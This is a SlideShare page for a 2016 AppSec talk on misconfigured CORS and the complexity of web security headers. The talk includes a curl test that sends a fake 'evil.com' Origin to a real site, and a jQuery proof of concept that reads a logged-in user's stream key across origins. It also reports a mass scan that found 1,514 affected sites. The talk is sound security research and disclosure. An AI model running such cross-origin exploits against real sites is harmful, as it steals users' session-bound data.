SlideShare a Scribd company logo
Misconfigured CORS
Evan Johnson
Why being secure isn’t getting easier
About Me
My name is Evan
I’m a software engineer.
I’m work on security at Cloudflare
I love golang.
How would you secure the internet?
The internet is not a series of castles
The internet is not a series of castles
Same-Origin Policy
Cross Origin Resource Sharing
CORS is driven by the Origin header
Based on origin header, the server is supposed to make decisions
about what CORS header to display
Access-Control-Allow-Origin: *
Is not the same as reflecting the origin header. * means no cookies
Cross Origin Resource Sharing Appropriately
Cross Origin Resource Sharing Appropriately
Reflecting all Origin headers
As Access-Control-Allow-Origin WITH Access-Control-Allow-
Credentials: true
Would be really bad.
Does anyone do this?
Why?
It basically turns off Same-Origin policy…
Which is like ... one of the worst security problems to
have.
Cross Origin Resource Sharing Problem
Testing for Bad CORS
Testing for bad cors
➜ ~ curl https://streamable.com -H "Origin: https://evil.com" -I
HTTP/1.1 200 OK
Date: Tue, 27 Sep 2016 03:39:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 34969
Connection: keep-alive
Server: nginx
Vary: Accept-Encoding
Set-Cookie: session=D2V05A0PVBFAXGCW7NJFGCPF; Domain=.streamable.com;
Expires=Sat, 13-Feb-2044 03:39:01 GMT; Path=/
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Exploit Proof of Concept
$.ajax({
url:"https://streamable.com/ajax/me",
success: function( data ) {
document.write("Your stream key is " + data['stream_key']);
},
xhrFields: {
withCredentials: true
}
});
How widespread is this problem?
How do I know?
I scanned the Alexa 1M for websites that:
● Access-Control-Allow-Origin: <myevilsite.com>
● Access-Control-Allow-Credentials: true
● I followed redirects
● I checked both http and https
1,514 sites with this problem config
The code - https://github.com/ejcx/badcors-massscan
● Written in go
● Heavy use of concurrency patterns
● Making it public after this talk, and making the results and all the sites
public.
The code -
The code -
What do you do when you find a thousand
vulnerable websites?
Started tracking these misconfigurations at their src
● I started looking for the libraries that people were using to cause this
behavior.
● I reported this to
○ SAILS JS
○ Rack CORS
○ (some go library rs/cors.go or something)
○ More to come.
CORS, the source
CORS, the source
So…. What’s this about?
Complexity
Complexity in CORS
Cross origin resource sharing could be way easier.
● The authors clearly wanted to prevent people from this type of
behavior.
● That’s why “*” and “Allow-Credentials: true” is not allowed.
● Why make it possible at all.
● Why do you need 6 different response headers
● Reminds me of OpenSSL
CORS is not alone...
● CSP
● SRI
● HPKP
● Credential management
● HSTS
Content Security Policy
● A new “hot” http response header
● CSP is still a mess. Has 3 headers.
● It is growing in complexity BY THE GOSH DARN DAY
Content Security Policy
Sub-Resource Integrity
● Load only expected assets. SRI dictates that you can only load things
sub resources that match a hash that is baked in to the DOM.
● This is nice, but SRI is confusing. Who should use SRI. When is it no
tnecessary? The spec is not clear.
HTTP Public Key Pinning
● There are probably a bakers dozen of websites where this is useful
● Securityheaders.io tries to make you want to turn on HPKP
● Huge operational burden
● Disaster.
● Complex.
HPKP
Credential Management
● In your browser NOW! Be afraid
● Allows websites to log you in using the browser password manager
HTTP Strict Transport Security
● Very normal header to set now’a’days.
● It is not easy. Beware of “includeSubdomains
● https://twitter.com/bcrypt/status/781969754806366208
What about usable security?
Who remembers OpenSSL?
anyone? anyone?
Why not go the way of TLS1.3
It should be easy to make a castle,
so where do we go from here?
Demand simplicity
● Web specifications are hard. Why are they not easy?
● Cross Origin Resource Sharing needs a full rewrite.
● There are three different Content Security Policy headers....
● Some browsers still don’t support it.
● Some browsers still don’t support SRI.
WHAT A MESS! Web Specs should be easy!
Come help us save the web
This stuff is all too hard.

More Related Content

What's hot

Javascript cross domain communication
Javascript cross domain communicationJavascript cross domain communication
Javascript cross domain communication
ChenKuo Chen
 
Same origin policy
Same origin policySame origin policy
Same origin policy
Vivek Madurai
 
Cors kung fu
Cors kung fuCors kung fu
Cors kung fu
Aditya Balapure
 
Evolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecurityEvolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser Security
Sanjeev Verma, PhD
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitation
Krzysztof Kotowicz
 
4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek
4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek
4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek
PROIDEA
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
guest2821a2
 
Design Web Service API by HungerStation
Design Web Service API by HungerStationDesign Web Service API by HungerStation
Design Web Service API by HungerStation
ArabNet ME
 
Advanced Json
Advanced JsonAdvanced Json
Advanced Json
guestfd7d7c
 
01. http basics v27
01. http basics v2701. http basics v27
01. http basics v27
Eoin Keary
 
2014 database - course 1 - www introduction
2014 database - course 1 - www introduction2014 database - course 1 - www introduction
2014 database - course 1 - www introduction
Hung-yu Lin
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
kuza55
 
Modernizr, Yepnope, and Polyfills
Modernizr, Yepnope, and PolyfillsModernizr, Yepnope, and Polyfills
Modernizr, Yepnope, and Polyfills
Alex Sexton
 
HTTP 완벽가이드- 13 다이제스트 인증
HTTP 완벽가이드- 13 다이제스트 인증HTTP 완벽가이드- 13 다이제스트 인증
HTTP 완벽가이드- 13 다이제스트 인증
박 민규
 
Basic Introduction About API Web Service
Basic Introduction About API Web ServiceBasic Introduction About API Web Service
Basic Introduction About API Web Service
Hiraq Citra M
 
LAWDI - Rogue Linked Data
LAWDI - Rogue Linked DataLAWDI - Rogue Linked Data
LAWDI - Rogue Linked Data
Ryan Baumann
 
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
Thomas Witt
 
Your rest api using laravel
Your rest api using laravelYour rest api using laravel
Your rest api using laravel
Sulaeman .
 
Data normalization weaknesses
Data normalization weaknessesData normalization weaknesses
Data normalization weaknesses
Ivan Novikov
 

What's hot (20)

Javascript cross domain communication
Javascript cross domain communicationJavascript cross domain communication
Javascript cross domain communication
 
Same origin policy
Same origin policySame origin policy
Same origin policy
 
Cors kung fu
Cors kung fuCors kung fu
Cors kung fu
 
Evolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecurityEvolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser Security
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitation
 
4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek
4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek
4Developers 2015: Bypassing Same-Origin Policy - Jakub Żoczek
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
 
Design Web Service API by HungerStation
Design Web Service API by HungerStationDesign Web Service API by HungerStation
Design Web Service API by HungerStation
 
Advanced Json
Advanced JsonAdvanced Json
Advanced Json
 
01. http basics v27
01. http basics v2701. http basics v27
01. http basics v27
 
2014 database - course 1 - www introduction
2014 database - course 1 - www introduction2014 database - course 1 - www introduction
2014 database - course 1 - www introduction
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
 
Modernizr, Yepnope, and Polyfills
Modernizr, Yepnope, and PolyfillsModernizr, Yepnope, and Polyfills
Modernizr, Yepnope, and Polyfills
 
HTTP 완벽가이드- 13 다이제스트 인증
HTTP 완벽가이드- 13 다이제스트 인증HTTP 완벽가이드- 13 다이제스트 인증
HTTP 완벽가이드- 13 다이제스트 인증
 
Basic Introduction About API Web Service
Basic Introduction About API Web ServiceBasic Introduction About API Web Service
Basic Introduction About API Web Service
 
LAWDI - Rogue Linked Data
LAWDI - Rogue Linked DataLAWDI - Rogue Linked Data
LAWDI - Rogue Linked Data
 
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
 
Your rest api using laravel
Your rest api using laravelYour rest api using laravel
Your rest api using laravel
 
Data normalization weaknesses
Data normalization weaknessesData normalization weaknesses
Data normalization weaknesses
 

Similar to Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

Web security for app developers
Web security for app developersWeb security for app developers
Web security for app developers
Pablo Gazmuri
 
DomainTools Fingerprinting Threat Actors with Web Assets
DomainTools Fingerprinting Threat Actors with Web AssetsDomainTools Fingerprinting Threat Actors with Web Assets
DomainTools Fingerprinting Threat Actors with Web Assets
DomainTools
 
Dmk sb2010 web_defense
Dmk sb2010 web_defenseDmk sb2010 web_defense
Dmk sb2010 web_defense
Dan Kaminsky
 
Hacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
Confidence web
Confidence webConfidence web
Confidence web
Dan Kaminsky
 
How to get started with Site Reliability Engineering
How to get started with Site Reliability EngineeringHow to get started with Site Reliability Engineering
How to get started with Site Reliability Engineering
Andrew Kirkpatrick
 
Finding harmony in web development
Finding harmony in web developmentFinding harmony in web development
Finding harmony in web development
Christian Heilmann
 
13 practical tips for writing secure golang applications
13 practical tips for writing secure golang applications13 practical tips for writing secure golang applications
13 practical tips for writing secure golang applications
Karthik Gaekwad
 
Rails security: above and beyond the defaults
Rails security: above and beyond the defaultsRails security: above and beyond the defaults
Rails security: above and beyond the defaults
Matias Korhonen
 
Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015
Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015
Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015
FITC
 
When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014
Anant Shrivastava
 
Same-origin Policy (SOP)
Same-origin Policy (SOP)Same-origin Policy (SOP)
Same-origin Policy (SOP)
Netsparker
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
Aaron Hnatiw
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu
 
Abusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec gloryAbusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec glory
Priyanka Aash
 
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) HackableCollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
Darren Duke
 
Passwords
PasswordsPasswords
Passwords
Kevin OBrien
 
Beyond Phoenix
Beyond PhoenixBeyond Phoenix
Beyond Phoenix
Gabriele Lana
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0
Itzik Kotler
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 

Similar to Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016 (20)

Web security for app developers
Web security for app developersWeb security for app developers
Web security for app developers
 
DomainTools Fingerprinting Threat Actors with Web Assets
DomainTools Fingerprinting Threat Actors with Web AssetsDomainTools Fingerprinting Threat Actors with Web Assets
DomainTools Fingerprinting Threat Actors with Web Assets
 
Dmk sb2010 web_defense
Dmk sb2010 web_defenseDmk sb2010 web_defense
Dmk sb2010 web_defense
 
Hacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass Firewalls
 
Confidence web
Confidence webConfidence web
Confidence web
 
How to get started with Site Reliability Engineering
How to get started with Site Reliability EngineeringHow to get started with Site Reliability Engineering
How to get started with Site Reliability Engineering
 
Finding harmony in web development
Finding harmony in web developmentFinding harmony in web development
Finding harmony in web development
 
13 practical tips for writing secure golang applications
13 practical tips for writing secure golang applications13 practical tips for writing secure golang applications
13 practical tips for writing secure golang applications
 
Rails security: above and beyond the defaults
Rails security: above and beyond the defaultsRails security: above and beyond the defaults
Rails security: above and beyond the defaults
 
Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015
Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015
Upgrading the Web with Douglas Crockford @ FITC's Web Unleashed 2015
 
When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014When the internet bleeded : RootConf 2014
When the internet bleeded : RootConf 2014
 
Same-origin Policy (SOP)
Same-origin Policy (SOP)Same-origin Policy (SOP)
Same-origin Policy (SOP)
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Abusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec gloryAbusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec glory
 
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) HackableCollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
CollabSphere SC 103 : Domino on the Web : Yes, It's (Probably) Hackable
 
Passwords
PasswordsPasswords
Passwords
 
Beyond Phoenix
Beyond PhoenixBeyond Phoenix
Beyond Phoenix
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 

Recently uploaded

APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC
 
一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理
一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理
一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理
keoku
 
制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假
制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假
制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假
ukwwuq
 
Explore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories SecretlyExplore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories Secretly
Trending Blogers
 
Understanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdfUnderstanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdf
SEO Article Boost
 
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
uehowe
 
7 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 20247 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 2024
Danica Gill
 
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
cuobya
 
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
vmemo1
 
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
cuobya
 
Italy Agriculture Equipment Market Outlook to 2027
Italy Agriculture Equipment Market Outlook to 2027Italy Agriculture Equipment Market Outlook to 2027
Italy Agriculture Equipment Market Outlook to 2027
harveenkaur52
 
Bridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptx
Bridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptxBridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptx
Bridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptx
Brad Spiegel Macon GA
 
Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...
Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...
Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...
CIOWomenMagazine
 
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
ysasp1
 
Bài tập unit 1 English in the world.docx
Bài tập unit 1 English in the world.docxBài tập unit 1 English in the world.docx
Bài tập unit 1 English in the world.docx
nhiyenphan2005
 
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
zyfovom
 
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
fovkoyb
 
一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理
一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理
一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理
ufdana
 
Gen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needsGen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needs
Laura Szabó
 
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
cuobya
 

Recently uploaded (20)

APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
APNIC Foundation, presented by Ellisha Heppner at the PNG DNS Forum 2024
 
一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理
一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理
一比一原版(SLU毕业证)圣路易斯大学毕业证成绩单专业办理
 
制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假
制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假
制作原版1:1(Monash毕业证)莫纳什大学毕业证成绩单办理假
 
Explore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories SecretlyExplore-Insanony: Watch Instagram Stories Secretly
Explore-Insanony: Watch Instagram Stories Secretly
 
Understanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdfUnderstanding User Behavior with Google Analytics.pdf
Understanding User Behavior with Google Analytics.pdf
 
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
 
7 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 20247 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 2024
 
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
 
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
重新申请毕业证书(RMIT毕业证)皇家墨尔本理工大学毕业证成绩单精仿办理
 
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
 
Italy Agriculture Equipment Market Outlook to 2027
Italy Agriculture Equipment Market Outlook to 2027Italy Agriculture Equipment Market Outlook to 2027
Italy Agriculture Equipment Market Outlook to 2027
 
Bridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptx
Bridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptxBridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptx
Bridging the Digital Gap Brad Spiegel Macon, GA Initiative.pptx
 
Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...
Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...
Internet of Things in Manufacturing: Revolutionizing Efficiency & Quality | C...
 
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
 
Bài tập unit 1 English in the world.docx
Bài tập unit 1 English in the world.docxBài tập unit 1 English in the world.docx
Bài tập unit 1 English in the world.docx
 
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
学位认证网(DU毕业证)迪肯大学毕业证成绩单一比一原版制作
 
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
存档可查的(USC毕业证)南加利福尼亚大学毕业证成绩单制做办理
 
一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理
一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理
一比一原版(CSU毕业证)加利福尼亚州立大学毕业证成绩单专业办理
 
Gen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needsGen Z and the marketplaces - let's translate their needs
Gen Z and the marketplaces - let's translate their needs
 
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
 

Misconfigured CORS, Why being secure isn't getting easier. AppSec USA 2016

  • 1. Misconfigured CORS Evan Johnson Why being secure isn’t getting easier
  • 2. About Me My name is Evan I’m a software engineer. I’m work on security at Cloudflare I love golang.
  • 3. How would you secure the internet?
  • 4. The internet is not a series of castles
  • 5. The internet is not a series of castles
  • 8. CORS is driven by the Origin header Based on origin header, the server is supposed to make decisions about what CORS header to display
  • 9. Access-Control-Allow-Origin: * Is not the same as reflecting the origin header. * means no cookies
  • 10. Cross Origin Resource Sharing Appropriately
  • 11. Cross Origin Resource Sharing Appropriately
  • 12. Reflecting all Origin headers As Access-Control-Allow-Origin WITH Access-Control-Allow- Credentials: true Would be really bad. Does anyone do this?
  • 13. Why? It basically turns off Same-Origin policy… Which is like ... one of the worst security problems to have.
  • 14. Cross Origin Resource Sharing Problem
  • 16. Testing for bad cors ➜ ~ curl https://streamable.com -H "Origin: https://evil.com" -I HTTP/1.1 200 OK Date: Tue, 27 Sep 2016 03:39:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 34969 Connection: keep-alive Server: nginx Vary: Accept-Encoding Set-Cookie: session=D2V05A0PVBFAXGCW7NJFGCPF; Domain=.streamable.com; Expires=Sat, 13-Feb-2044 03:39:01 GMT; Path=/ Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
  • 17. Exploit Proof of Concept $.ajax({ url:"https://streamable.com/ajax/me", success: function( data ) { document.write("Your stream key is " + data['stream_key']); }, xhrFields: { withCredentials: true } });
  • 18. How widespread is this problem?
  • 19. How do I know? I scanned the Alexa 1M for websites that: ● Access-Control-Allow-Origin: <myevilsite.com> ● Access-Control-Allow-Credentials: true ● I followed redirects ● I checked both http and https
  • 20. 1,514 sites with this problem config
  • 21. The code - https://github.com/ejcx/badcors-massscan ● Written in go ● Heavy use of concurrency patterns ● Making it public after this talk, and making the results and all the sites public.
  • 24. What do you do when you find a thousand vulnerable websites?
  • 25. Started tracking these misconfigurations at their src ● I started looking for the libraries that people were using to cause this behavior. ● I reported this to ○ SAILS JS ○ Rack CORS ○ (some go library rs/cors.go or something) ○ More to come.
  • 31. Cross origin resource sharing could be way easier. ● The authors clearly wanted to prevent people from this type of behavior. ● That’s why “*” and “Allow-Credentials: true” is not allowed. ● Why make it possible at all. ● Why do you need 6 different response headers ● Reminds me of OpenSSL
  • 32. CORS is not alone... ● CSP ● SRI ● HPKP ● Credential management ● HSTS
  • 33. Content Security Policy ● A new “hot” http response header ● CSP is still a mess. Has 3 headers. ● It is growing in complexity BY THE GOSH DARN DAY
  • 35. Sub-Resource Integrity ● Load only expected assets. SRI dictates that you can only load things sub resources that match a hash that is baked in to the DOM. ● This is nice, but SRI is confusing. Who should use SRI. When is it no tnecessary? The spec is not clear.
  • 36. HTTP Public Key Pinning ● There are probably a bakers dozen of websites where this is useful ● Securityheaders.io tries to make you want to turn on HPKP ● Huge operational burden ● Disaster. ● Complex.
  • 37. HPKP
  • 38. Credential Management ● In your browser NOW! Be afraid ● Allows websites to log you in using the browser password manager
  • 39. HTTP Strict Transport Security ● Very normal header to set now’a’days. ● It is not easy. Beware of “includeSubdomains ● https://twitter.com/bcrypt/status/781969754806366208
  • 40. What about usable security?
  • 42. Why not go the way of TLS1.3
  • 43. It should be easy to make a castle, so where do we go from here?
  • 44. Demand simplicity ● Web specifications are hard. Why are they not easy? ● Cross Origin Resource Sharing needs a full rewrite. ● There are three different Content Security Policy headers.... ● Some browsers still don’t support it. ● Some browsers still don’t support SRI. WHAT A MESS! Web Specs should be easy!
  • 45. Come help us save the web This stuff is all too hard.

Editor's Notes

